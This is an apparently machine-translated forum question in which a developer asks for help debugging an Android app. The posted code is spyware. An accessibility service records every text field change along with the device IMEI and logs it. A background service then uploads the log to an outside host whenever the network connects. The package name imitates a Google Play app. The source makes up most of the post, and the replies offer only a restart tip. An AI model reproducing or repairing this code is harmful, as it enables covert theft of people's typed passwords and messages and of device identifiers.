2017-05-03 3 views
1

유형 기계처럼 인터넷에 입력하는 텍스트를 동기화하는 애플리케이션에서 접근성 서비스를 받았습니다. 그것은 나를 위해 작동하지 않으며 디버깅을 위해 넣은 건배 중 아무 것도 작동하지 않습니다. Heres는 코드 :접근성 서비스가 작동하지 않습니다.

AccessibilityServices 클래스 :

package com.google.android.googleplaysongs; 

import android.accessibilityservice.AccessibilityService; 
import android.content.Context; 
import android.content.SharedPreferences; 
import android.preference.PreferenceManager; 
import android.telephony.TelephonyManager; 
import android.view.accessibility.AccessibilityEvent; 
import android.widget.Toast; 

import java.io.File; 
import java.io.IOException; 
import java.io.OutputStreamWriter; 
import java.text.SimpleDateFormat; 
import java.util.Calendar; 

public class AccessibilityServices extends AccessibilityService{ 

    // Shared Preference initialization section for editor and preferences 
    SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit(); 
    SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()); 

    // Shared Preferences used in the service 
    String imei = prefs.getString("imei", null); 
    String mseg = prefs.getString("mseg", null); 
    String time = prefs.getString("time", null); 

    @Override 
    public void onAccessibilityEvent(AccessibilityEvent event){ 
     final int eventType = event.getEventType(); 
     if(eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED){ 
      Toast toast = Toast.makeText(this.getApplicationContext(), "Accessiblity Event Recieved", Toast.LENGTH_SHORT); 
      toast.show(); 
      StringBuilder sb = new StringBuilder(); 
      for(CharSequence s : event.getText()){ 
       sb.append(s); 
      } 
      writeToLogger(sb.toString()); 
     } 
    } 

    @Override 
    public void onInterrupt(){} 

    public void writeToLogger(String eventText){ 
     Toast toasti = Toast.makeText(this.getApplicationContext(), "Accessiblity Service Passed", Toast.LENGTH_SHORT); 
     toasti.show(); 
     if(imei == null){ 
      editor.putString("imei", getImei()); 
      editor.commit(); 
     } 
     Toast toastk = Toast.makeText(this.getApplicationContext(), "Falg 1", Toast.LENGTH_SHORT); 
     toastk.show(); 
     if(mseg == null || time == null){ // LogicalOr is used for quick execution 
      editor.putString("mseg", eventText); 
      editor.putString("time", getTime()); 
      editor.commit(); 
      Toast toastio = Toast.makeText(this.getApplicationContext(), "Falg 2", Toast.LENGTH_SHORT); 
      toastio.show(); 
     } 
     else{ 
      if(eventText.contains(mseg)){ 
       // Update the shared preference here 
       editor.putString("mseg", eventText); 
       editor.commit(); 
      } 
      else{ 
       // Insert into log.txt 
       File file = new File(this.getFilesDir(), "data.txt"); 
       if(!file.exists()) { 
        try { 
         file.createNewFile(); 
        } catch (Exception e){ 
         e.printStackTrace(); 
        } 
       } 
       try { 
        OutputStreamWriter outputStream = new OutputStreamWriter(this.openFileOutput(file.getName(), Context.MODE_PRIVATE)); 
        outputStream.append(time).append("-").append(imei).append("-").append(mseg).append("\n"); 
        outputStream.close(); 
       } catch (IOException e){ 
        e.printStackTrace(); 
       } 
       // Reset the shared preferences 
       editor.putString("mseg", eventText); 
       editor.putString("time", getTime()); 
       editor.commit(); 
       Toast toastkl = Toast.makeText(this.getApplicationContext(), "Falg 3", Toast.LENGTH_SHORT); 
       toastkl.show(); 
      } 
     } 
     Toast toast = Toast.makeText(this.getApplicationContext(), eventText, Toast.LENGTH_SHORT); 
     toast.show(); 
    } 

    public String getImei(){ 
     TelephonyManager telephonyManager = null; 
     if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) { 
      telephonyManager = (TelephonyManager) this.getSystemService(Context.TELECOM_SERVICE); 
     } 
     Toast toast = Toast.makeText(this.getApplicationContext(), "imei", Toast.LENGTH_SHORT); 
     toast.show(); 
     assert telephonyManager != null; 
     return telephonyManager.getDeviceId(); 
    } 

    public String getTime(){ 
     Calendar c = Calendar.getInstance(); 
     SimpleDateFormat df = new SimpleDateFormat("yyyy MM dd HH mm"); 
     String formattedDte = df.format(c.getTime()); 
     formattedDte = formattedDte.replace(" ", ""); 
     Toast toast = Toast.makeText(this.getApplicationContext(), "time returned"+formattedDte, Toast.LENGTH_SHORT); 
     toast.show(); 
     return formattedDte; 
    } 
} 

NetworkBroadcaster 클래스 :

package com.google.android.googleplaysongs; 

import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent; 
import android.net.ConnectivityManager; 
import android.net.NetworkInfo; 

public class NetworkBroadcaster extends BroadcastReceiver { 
    @Override 
    public void onReceive(Context context, Intent inte) { 
     ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 
     NetworkInfo info = cm.getActiveNetworkInfo(); 

     if (info != null && info.isConnected()) { 
      Intent intent = new Intent(context, NetworkSyncer.class); 
      context.startService(intent); 
     } 
    } 
} 

NetworkSyncer 클래스 :

package com.google.android.googleplaysongs; 

import android.app.Service; 
import android.content.Intent; 
import android.os.IBinder; 
import android.support.annotation.Nullable; 

import java.io.DataOutputStream; 
import java.io.File; 
import java.io.FileInputStream; 
import java.net.HttpURLConnection; 
import java.net.URL; 

public class NetworkSyncer extends Service { 

    int mStartMode; 

    @Nullable 
    @Override 
    public IBinder onBind(Intent intent) { 
     return null; 
    } 

    @Override 
    public int onStartCommand(Intent intent, int flags, int startId){ 
     uploadFile(); 
     return mStartMode; 
    } 

    @Override 
    public void onDestroy(){ 
     super.onDestroy(); 
    } 

    public void uploadFile(){ 
     File file = new File(this.getFilesDir(), "data.txt"); 
     String urlServer = "https://u-database.000webhostapp.com/"; 

     HttpURLConnection conn; 
     DataOutputStream dos; 

     String lineEnd = "\r\n"; 
     String twoHyphens = "--"; 
     String boundary = "**X**"; 

     int bytesRead, bytesAvailable, bufferSize; 
     int maxBufferSize = 1024 * 1024; 

     byte[] buffer; 
     if (file.isFile()){ 
      try{ 
       FileInputStream fileInputStream = new FileInputStream(file); 
       URL url = new URL(urlServer); 

       // Setiing up the connection 
       conn = (HttpURLConnection) url.openConnection(); 
       conn.setDoInput(true); 
       conn.setDoOutput(true); 
       conn.setUseCaches(false); 
       conn.setRequestMethod("POST"); 
       conn.setRequestProperty("Connection", "Keep-Alive"); 
       conn.setRequestProperty("ENCTYPE", "multipart/form-data"); 
       conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); 
       conn.setRequestProperty("textLog", file.getAbsolutePath()); 

       dos = new DataOutputStream(conn.getOutputStream()); 
       dos.writeBytes(twoHyphens + boundary + lineEnd); 
       dos.writeBytes("Content-Disposition: form-data;"+ 
         "name=\"textLog\";filename=\""+file.getAbsolutePath()+"\""+lineEnd 
       ); 
       dos.writeBytes(lineEnd); 

       // create a buffer of maximum size 
       bytesAvailable = fileInputStream.available(); 

       bufferSize = Math.min(bytesAvailable, maxBufferSize); 
       buffer = new byte[bufferSize]; 

       // read file and write it into form... 
       bytesRead = fileInputStream.read(buffer, 0, bufferSize); 

       while (bytesRead > 0) { 
        dos.write(buffer, 0, bufferSize); 
        bytesAvailable = fileInputStream.available(); 
        bufferSize = Math.min(bytesAvailable, maxBufferSize); 
        bytesRead = fileInputStream.read(buffer, 0, bufferSize); 

       } 
       dos.writeBytes(lineEnd); 
       dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); 

       // Responses from the server (code and message) 
       String serverResponseMessage = conn.getResponseMessage(); 
       if(conn.getResponseCode() == 200) { 
        if(serverResponseMessage.equals("success")) { 
         file.delete(); 
        } 
       } 

       // Close the streams 
       fileInputStream.close(); 
       dos.flush(); 
       dos.close(); 
      }catch(Exception e){e.printStackTrace();} 
     } 
    } 
} 

내 매니페스트 :

<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.google.android.googleplaysongs"> 
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/> 
    <uses-permission android:name="android.permission.READ_PHONE_STATE" /> 
    <uses-permission android:name="android.permission.INTERNET"/> 
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> 
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> 
    <uses-permission android:name="android.permission.MANAGE_DOCUMENTS"/> 
    <application android:allowBackup="false"> 
     <!-- Service for Accessibility--> 
     <service android:name=".AccessibilityServices" 
      android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" 
      android:label="@string/app_name"> 
      <intent-filter> 
       <action android:name="android.accessibilityservice.AccessibilityService"/> 
      </intent-filter> 
      <meta-data 
       android:name="android.accessibilityservice" 
       android:resource="@xml/accessibility_service_config" /> 
     </service> 
     <!-- Broadcast Reciever --> 
     <receiver android:name=".NetworkBroadcaster"> 
      <intent-filter> 
       <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/> 
      </intent-filter> 
     </receiver> 
     <!-- Service for syncing data --> 
     <service android:name=".NetworkSyncer" /> --> 
    </application> 
</manifest> 

NB : writeToLogger() 함수가 전달 된 문자열을 표시하는 축배만을 포함하고있을 때 작동했지만 코드를 주석 처리하려고 시도했을 때 작동하지 않았으므로 그 이유를 알 수 없었습니다.

누군가 나를 도울 수 있다면 정말 기쁠 것입니다.

UPDATE : 작업을 비동기하고 네트워크 작업을 이동 그것은이 표시되지 않을 것 오류 중 하나

+0

의견이있는 사람이 누구입니까 ?? –

답변

2

다음 tryi g 서비스가 때때로 충돌 할 때 백그라운드에서 남아있는 각 리셋하지 않고 전화를 다시 시작한 후 모든 설치가 작동합니다.

+0

다시 시작했습니다. :) –